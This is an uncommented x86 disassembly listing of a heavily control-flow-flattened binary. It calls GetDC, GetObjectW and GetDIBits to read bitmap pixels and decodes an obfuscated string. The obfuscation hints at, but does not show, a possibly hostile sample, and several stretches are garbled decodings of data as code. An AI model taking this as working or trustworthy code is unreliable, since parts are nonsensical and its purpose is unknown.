mov eax, dword [esp + 0x2c]
mov dword [eax], 0x90c5303a
mov eax, dword [esp + 0x120]
mov ecx, dword [esp + 0x124]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x4c4fa83d
sete cl
mov dword [esp + 0x308], ecx
mov eax, dword [esp + 0x30c]
mov ecx, dword [esp + 0x308]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x1e5adbe1
sete cl
mov dword [esp + 0x2b0], ecx
mov eax, dword [esp + 0x2b4]
mov ecx, dword [esp + 0x2b0]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xc66cf13a
sete cl
mov dword [esp + 0x200], ecx
mov eax, dword [esp + 0x204]
mov ecx, dword [esp + 0x200]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x8c219f85
sete cl
mov dword [esp + 0x188], ecx
mov eax, dword [esp + 0x18c]
mov ecx, dword [esp + 0x188]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x61189c24
sete cl
mov dword [esp + 0x310], ecx
mov eax, dword [esp + 0x314]
mov ecx, dword [esp + 0x310]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xb40fe4a8
setl cl
mov dword [esp + 0x260], ecx
mov ecx, dword [esp + 0x264]
mov edx, dword [esp + 0x260]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xfe13ea29
setl cl
mov dword [esp + 0x288], ecx
mov ecx, dword [esp + 0x28c]
mov edx, dword [esp + 0x288]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xccb1c15
setl cl
mov dword [esp + 0x2a0], ecx
mov ecx, dword [esp + 0x2a4]
mov edx, dword [esp + 0x2a0]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x912e93df
setl cl
mov dword [esp + 0x1e0], ecx
mov ecx, dword [esp + 0x1e4]
mov edx, dword [esp + 0x1e0]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0040e4a0
mov eax, dword [esp + 0x2c]
mov dword [eax], 0xc66cf13a
mov eax, dword [esp + 0xf0]
mov ecx, dword [esp + 0xf4]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x51b351f
sete cl
mov dword [esp + 0x278], ecx
mov eax, dword [esp + 0x27c]
mov ecx, dword [esp + 0x278]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x1f1b0886
sete cl
mov dword [esp + 0x2d0], ecx
mov eax, dword [esp + 0x2d4]
mov ecx, dword [esp + 0x2d0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x88]
mov ecx, dword [esp + 0x8c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x61189c24
setl cl
mov dword [esp + 0x318], ecx
mov ecx, dword [esp + 0x31c]
mov edx, dword [esp + 0x318]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x4c4fa83d
setl cl
mov dword [esp + 0x340], ecx
mov ecx, dword [esp + 0x344]
mov edx, dword [esp + 0x340]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xac80050a
setl cl
mov dword [esp + 0x1d0], ecx
mov ecx, dword [esp + 0x1d4]
mov edx, dword [esp + 0x1d0]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov ebx, dword [esp + 0x360]
mov edi, dword [esp + 0x84]
mov al, byte [esp + 0x68]
mov byte [esp + 0x6c], al
mov byte [esp + 0x70], 0x99
mov byte [esp + 0x71], 0xaa
mov byte [esp + 0x72], 0xbc
mov byte [esp + 0x73], 0xb6
mov byte [esp + 0x74], 0xb7
mov byte [esp + 0x75], 0xbd
mov byte [esp + 0x76], 0xfc
mov byte [esp + 0x77], 0xa5
mov byte [esp + 0x78], 0xba
mov byte [esp + 0x79], 0xbe
mov byte [esp + 0x7a], 0xd6
mov eax, 0xb
mov byte [esp + eax + 0x70], 0
add eax, 1
cmp eax, 0x10
jne 0x43629b
mov dword [esp + 0x44], 0
mov eax, dword [esp + 0x44]
cmp eax, 0x10
jae 0x4362e5
mov eax, dword [esp + 0x44]
mov ecx, dword [esp + 0x44]
movzx ecx, byte [esp + ecx + 0x70]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00438030
mov ecx, dword [esp + 0x44]
mov byte [esp + ecx + 0x70], al
mov eax, dword [esp + 0x44]
inc eax
mov dword [esp + 0x44], eax
jmp 0x4362b0
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
lea eax, [esp + 0x70]
mov dword [esp], eax
mov ecx, esi
call fcn.0040d580
sub esp, 0xc
mov byte [esp + 0x3b], al
mov eax, dword [esp + 0x84]
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 0x5c]
test eax, eax
mov eax, 0x9754900d
je 0x43631f
mov eax, 0x1e5adbe1
mov ecx, dword [esp + 0x2c]
mov dword [ecx], eax
mov al, byte [esp + 0x3b]
mov byte [esp + 0x33], al
mov eax, dword [esp + 0xd8]
mov ecx, dword [esp + 0xdc]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x6b2ade93
setl cl
mov dword [esp + 0x338], ecx
mov ecx, dword [esp + 0x33c]
mov edx, dword [esp + 0x338]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0040e4a0
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x79dc5df5
mov eax, dword [esp + 0x110]
mov ecx, dword [esp + 0x114]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xc9da9756
sete cl
mov dword [esp + 0x208], ecx
mov eax, dword [esp + 0x20c]
mov ecx, dword [esp + 0x208]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x2c]
mov dword [eax], 0xccb1c15
mov eax, dword [esp + 0x150]
mov ecx, dword [esp + 0x154]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e4a0
mov eax, dword [esp + 0x5c]
mov dword [esp], eax
call fcn.0040c9a0
mov eax, dword [esp + 0x2c]
mov dword [eax], 0xfe13ea29
mov eax, dword [esp + 0xc8]
mov ecx, dword [esp + 0xcc]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x178]
mov ecx, dword [esp + 0x17c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e4a0
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x1e89e9ee
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x134]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xdcf881f1
sete cl
mov dword [ebp - 0x250], ecx
mov eax, dword [ebp - 0x254]
mov ecx, dword [ebp - 0x250]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x7265a15c
sete cl
mov dword [ebp - 0x388], ecx
mov eax, dword [ebp - 0x38c]
mov ecx, dword [ebp - 0x388]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xd7ffe6e6
setl cl
mov dword [ebp - 0x290], ecx
mov ecx, dword [ebp - 0x294]
mov edx, dword [ebp - 0x290]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x50cbf44f
sete cl
mov dword [ebp - 0x368], ecx
mov eax, dword [ebp - 0x36c]
mov ecx, dword [ebp - 0x368]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xd1b06313
setl cl
mov dword [ebp - 0x238], ecx
mov ecx, dword [ebp - 0x23c]
mov edx, dword [ebp - 0x238]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x3e525dce
sete cl
mov dword [ebp - 0x330], ecx
mov eax, dword [ebp - 0x334]
mov ecx, dword [ebp - 0x330]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xed8b605d
setl cl
mov dword [ebp - 0x288], ecx
mov ecx, dword [ebp - 0x28c]
mov edx, dword [ebp - 0x288]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x5322307f
setl cl
mov dword [ebp - 0x398], ecx
mov ecx, dword [ebp - 0x39c]
mov edx, dword [ebp - 0x398]
mov ecx, dword [ecx + edx*4]
jmp ecx
popfd
and eax, 0x458bbfff
fmul dword [ebx + 0x104d8b00]
mov dword [ecx], eax
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x8803f82e
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e4a0
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x1a3f87c0
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xec]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xbe227c6
sete cl
mov dword [ebp - 0x2c0], ecx
mov eax, dword [ebp - 0x2c4]
mov ecx, dword [ebp - 0x2c0]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xfaa97a66
setl cl
mov dword [ebp - 0x2b0], ecx
mov ecx, dword [ebp - 0x2b4]
mov edx, dword [ebp - 0x2b0]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x40a7d4df
setl cl
mov dword [ebp - 0x350], ecx
mov ecx, dword [ebp - 0x354]
mov edx, dword [ebp - 0x350]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x80756e88
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x124]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0x184]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e4a0
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x158ab8fd
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xb4]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x40]
mov edi, dword [ebp - 0x24]
sub esp, 0x1c
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], esi
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edi
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 9
call fcn.004086e0
add esp, 0x1c
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
test eax, eax
mov eax, 0x40a7d4df
jne 0x436c90
mov eax, 0xd185456f
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
mov byte [ebp - 0x16], 0
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x154]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x8b3ffa03
sete cl
mov dword [ebp - 0x1a8], ecx
mov eax, dword [ebp - 0x1ac]
mov ecx, dword [ebp - 0x1a8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x4cda3aed
sete cl
mov dword [ebp - 0x360], ecx
mov eax, dword [ebp - 0x364]
mov ecx, dword [ebp - 0x360]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x5322307f
sete cl
mov dword [ebp - 0x380], ecx
mov eax, dword [ebp - 0x384]
mov ecx, dword [ebp - 0x380]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x80756e88
sete cl
mov dword [ebp - 0x188], ecx
mov eax, dword [ebp - 0x18c]
mov ecx, dword [ebp - 0x188]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [ebp - 0x3cc]
shl eax, 0x10
mov ecx, dword [ebp - 0x3d0]
or ecx, eax
mov eax, dword [ebp - 0x4c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x3c8], eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x8b3ffa03
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xcc]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xc8d93938
sete cl
mov dword [ebp - 0x210], ecx
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 0x210]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xed8b605d
sete cl
mov dword [ebp - 0x260], ecx
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 0x260]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, byte [ebp - 0x15]
mov byte [ebp - 0x17], al
mov eax, dword [ebp - 0x50]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_ReleaseDC]
call eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x51d1c2c6
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x9c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x51d1c2c6
setl cl
mov dword [ebp - 0x3a0], ecx
mov ecx, dword [ebp - 0x3a4]
mov edx, dword [ebp - 0x3a0]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0040e4a0
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x3e525dce
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x14c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xc982a112
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x13c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x64]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e4a0
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x8803f82e
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xbc]
mov eax, dword [ecx + eax*4]
jmp eax
retf
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xfaa97a66
mov dword [ebp - 0x48], 0
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x164]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xa7362484
setl cl
mov dword [ebp - 0x200], ecx
mov ecx, dword [ebp - 0x204]
mov edx, dword [ebp - 0x200]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xf24ccd08
setl cl
mov dword [ebp - 0x278], ecx
mov ecx, dword [ebp - 0x27c]
mov edx, dword [ebp - 0x278]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xfaa97a66
sete cl
mov dword [ebp - 0x2a8], ecx
mov eax, dword [ebp - 0x2ac]
mov ecx, dword [ebp - 0x2a8]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x1a3f87c0
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x74]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e4a0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x3e4], eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x5322307f
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0x144]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [ebp - 0x38]
mov ecx, eax
not ecx
or ecx, 0xff00ff00
lea eax, [eax + ecx + 1]
mov dword [ebp - 0x3d8], eax
movzx eax, byte [ebp - 0x36]
mov dword [ebp - 0x3d4], eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x7265a15c
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xfc]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xc982a112
sete cl
mov dword [ebp - 0x218], ecx
mov eax, dword [ebp - 0x21c]
mov ecx, dword [ebp - 0x218]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x8206d5fc
sete cl
mov dword [ebp - 0x190], ecx
mov eax, dword [ebp - 0x194]
mov ecx, dword [ebp - 0x190]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x158ab8fd
sete cl
mov dword [ebp - 0x2e0], ecx
mov eax, dword [ebp - 0x2e4]
mov ecx, dword [ebp - 0x2e0]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x4cda3aed
setl cl
mov dword [ebp - 0x3a8], ecx
mov ecx, dword [ebp - 0x3ac]
mov edx, dword [ebp - 0x3a8]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
sub ecx, eax
mov eax, 0x94981e2
jl 0x437027
mov eax, 0xbe227c6
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp - 0x114]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xd7ffe6e6
sete cl
mov dword [ebp - 0x248], ecx
mov eax, dword [ebp - 0x24c]
mov ecx, dword [ebp - 0x248]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x1e89e9ee
sete cl
mov dword [ebp - 0x300], ecx
mov eax, dword [ebp - 0x304]
mov ecx, dword [ebp - 0x300]
mov eax, dword [eax + ecx*4]
jmp eax
adc eax, 0x3e43f58c
mov edx, 0x835089ff
in al, dx
adc al, 0x89
out 0x83, al
in al, dx
sub byte [ecx - 0x137caf19], cl
or al, 0x89
je 0x4370bd
or byte [ebx + 0x4890845], cl
and al, 0xc7
inc esp
and al, 4
sbb byte [eax], al
add byte [eax], al
mov eax, dword [sym.imp.GDI32.dll_GetObjectW]
call eax
mov dword [edi], 0x28
mov dword [ebp - 0x5c], esi
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 8]
neg eax
mov dword [edi + 8], eax
mov word [edi + 0xc], 1
mov ax, word [esi + 0x12]
mov word [edi + 0xe], ax
add al, 0x8b
inc esi
or bh, dh
fmul dword [ecx - 0x3899f7b9]
inc edi
or al, 1
add byte [esi - 0x75], ah
inc esi
adc ah, byte [esi - 0x77]
inc edi
push cs
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
movzx eax, word [edi + 0xe]
shr eax, 3
mov dword [ebp - 0x58], eax
mov ecx, dword [esi + 4]
mov eax, dword [esi + 8]
mov ebx, ecx
not ebx
mov edx, eax
not edx
mov esi, ecx
and esi, edx
mov edx, eax
and edx, ebx
imul esi, edx
mov edx, ecx
and edx, eax
or ecx, eax
imul ecx, edx
add ecx, esi
imul ecx, dword [ebp - 0x58]
sub esp, 4
mov dword [esp], ecx
call fcn.0040c990
add esp, 4
mov esi, eax
sub esp, 4
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetDC]
call eax
mov ecx, dword [ebp - 0x5c]
mov ecx, dword [ecx + 8]
sub esp, 0x1c
mov dword [esp + 0x14], edi
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], ecx
mov ecx, dword [ebp + 8]
mov dword [esp + 4], ecx
mov dword [esp], eax
mov dword [esp + 0x18], 0
mov dword [esp + 8], 0
mov eax, dword [sym.imp.GDI32.dll_GetDIBits]
call eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x50cbf44f
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x8c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [ebp - 0x3d8]
mov ecx, dword [ebp - 0x3d4]
or eax, ecx
mov dword [ebp - 0x3d0], eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xb076f86e
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xf4]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x1a3f87c0
setl cl
mov dword [ebp - 0x310], ecx
mov ecx, dword [ebp - 0x314]
mov edx, dword [ebp - 0x310]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xc8d93938
setl cl
mov dword [ebp - 0x298], ecx
mov ecx, dword [ebp - 0x29c]
mov edx, dword [ebp - 0x298]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x1717c3a8
setl cl
mov dword [ebp - 0x318], ecx
mov ecx, dword [ebp - 0x31c]
mov edx, dword [ebp - 0x318]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x3e525dce
setl cl
mov dword [ebp - 0x338], ecx
mov ecx, dword [ebp - 0x33c]
mov edx, dword [ebp - 0x338]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0040e4a0
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x2c], eax
sub esp, 0x28
mov eax, esp
mov dword [ebp - 0x14], eax
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x2c]
sub esp, 0xc
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov dword [esp + 4], 0x18
mov eax, dword [sym.imp.GDI32.dll_GetObjectW]
call eax
mov eax, dword [ebp - 0x14]
mov dword [eax], 0x28
mov eax, dword [ebp - 0x2c]
add eax, 4
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x2c]
add eax, 8
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
neg eax
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x14]
mov word [eax + 0xc], 1
mov eax, dword [ebp - 0x2c]
mov cx, word [eax + 0x12]
mov eax, dword [ebp - 0x14]
mov word [eax + 0xe], cx
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 0x10], 0
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 0x14], 0
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 0x18], 0
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 0x1c], 0
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 0x20], 0
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 0x24], 0
movzx ecx, word [eax + 0xe]
shr ecx, 3
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov edx, dword [ebp - 0x1c]
mov edx, dword [edx]
mov esi, eax
not esi
mov edi, edx
and edi, esi
mov esi, edx
not esi
mov ebx, eax
and ebx, esi
imul ebx, edi
mov esi, eax
and esi, edx
or eax, edx
imul eax, esi
add eax, ebx
mov dword [ebp - 0x40], ecx
mov ecx, dword [ebp - 0x40]
imul eax, ecx
sub esp, 4
mov dword [esp], eax
call fcn.0040c990
add esp, 4
mov dword [ebp - 0x24], eax
sub esp, 4
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetDC]
call eax
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x50]
sub esp, 0x1c
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], esi
mov dword [esp + 0x18], 0
mov dword [esp + 8], 0
mov eax, dword [sym.imp.GDI32.dll_GetDIBits]
call eax
test eax, eax
setne byte [ebp - 0x18]
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xed8b605d
mov eax, dword [ebp - 0x170]
mov ecx, dword [ebp - 0x174]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x40a7d4df
sete cl
mov dword [ebp - 0x348], ecx
mov eax, dword [ebp - 0x34c]
mov ecx, dword [ebp - 0x348]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xdcf881f1
setl cl
mov dword [ebp - 0x258], ecx
mov ecx, dword [ebp - 0x25c]
mov edx, dword [ebp - 0x258]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov al, byte [ebp - 0x18]
test al, al
mov eax, 0x1717c3a8
jne 0x437430
mov eax, 0x4cda3aed
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
mov byte [ebp - 0x15], 0
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x16c]
mov eax, dword [ecx + eax*4]
jmp eax
sub dword [ebp + 0x458b9aea], ecx
invalid
mov eax, dword [ebp - 0x34]
inc eax
mov ecx, dword [ebp - 0x10]
mov dword [ecx], 0xfaa97a66
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x10c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xf24ccd08
sete cl
mov dword [ebp - 0x270], ecx
mov eax, dword [ebp - 0x274]
mov ecx, dword [ebp - 0x270]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
sub ecx, eax
mov eax, 0xdb897b5
jl 0x4374c3
mov eax, 0xd1b06313
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x15c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xd185456f
mov byte [ebp - 0x16], 1
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xac]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, byte [ebp - 0x16]
mov ecx, dword [ebp - 0x10]
mov dword [ecx], 0x4cda3aed
mov byte [ebp - 0x15], al
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0xa4]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xb185d6ec
setl cl
mov dword [ebp - 0x1f0], ecx
mov ecx, dword [ebp - 0x1f4]
mov edx, dword [ebp - 0x1f0]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x9f0b6d9d
setl cl
mov dword [ebp - 0x208], ecx
mov ecx, dword [ebp - 0x20c]
mov edx, dword [ebp - 0x208]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xdb897b5
sete cl
mov dword [ebp - 0x2d8], ecx
mov eax, dword [ebp - 0x2dc]
mov ecx, dword [ebp - 0x2d8]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xf24ccd08
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xdc]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x2fcc53cf
sete cl
mov dword [ebp - 0x328], ecx
mov eax, dword [ebp - 0x32c]
mov ecx, dword [ebp - 0x328]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xc982a112
setl cl
mov dword [ebp - 0x220], ecx
mov ecx, dword [ebp - 0x224]
mov edx, dword [ebp - 0x220]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0040e4a0
movzx eax, byte [ebp - 0x38]
mov dword [ebp - 0x3cc], eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x9f0b6d9d
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xe4]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xdcf881f1
mov eax, dword [ebp - 0x3c8]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xc4]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x3f8668ae
sete cl
mov dword [ebp - 0x340], ecx
mov eax, dword [ebp - 0x344]
mov ecx, dword [ebp - 0x340]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xdb897b5
setl cl
mov dword [ebp - 0x320], ecx
mov ecx, dword [ebp - 0x324]
mov edx, dword [ebp - 0x320]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
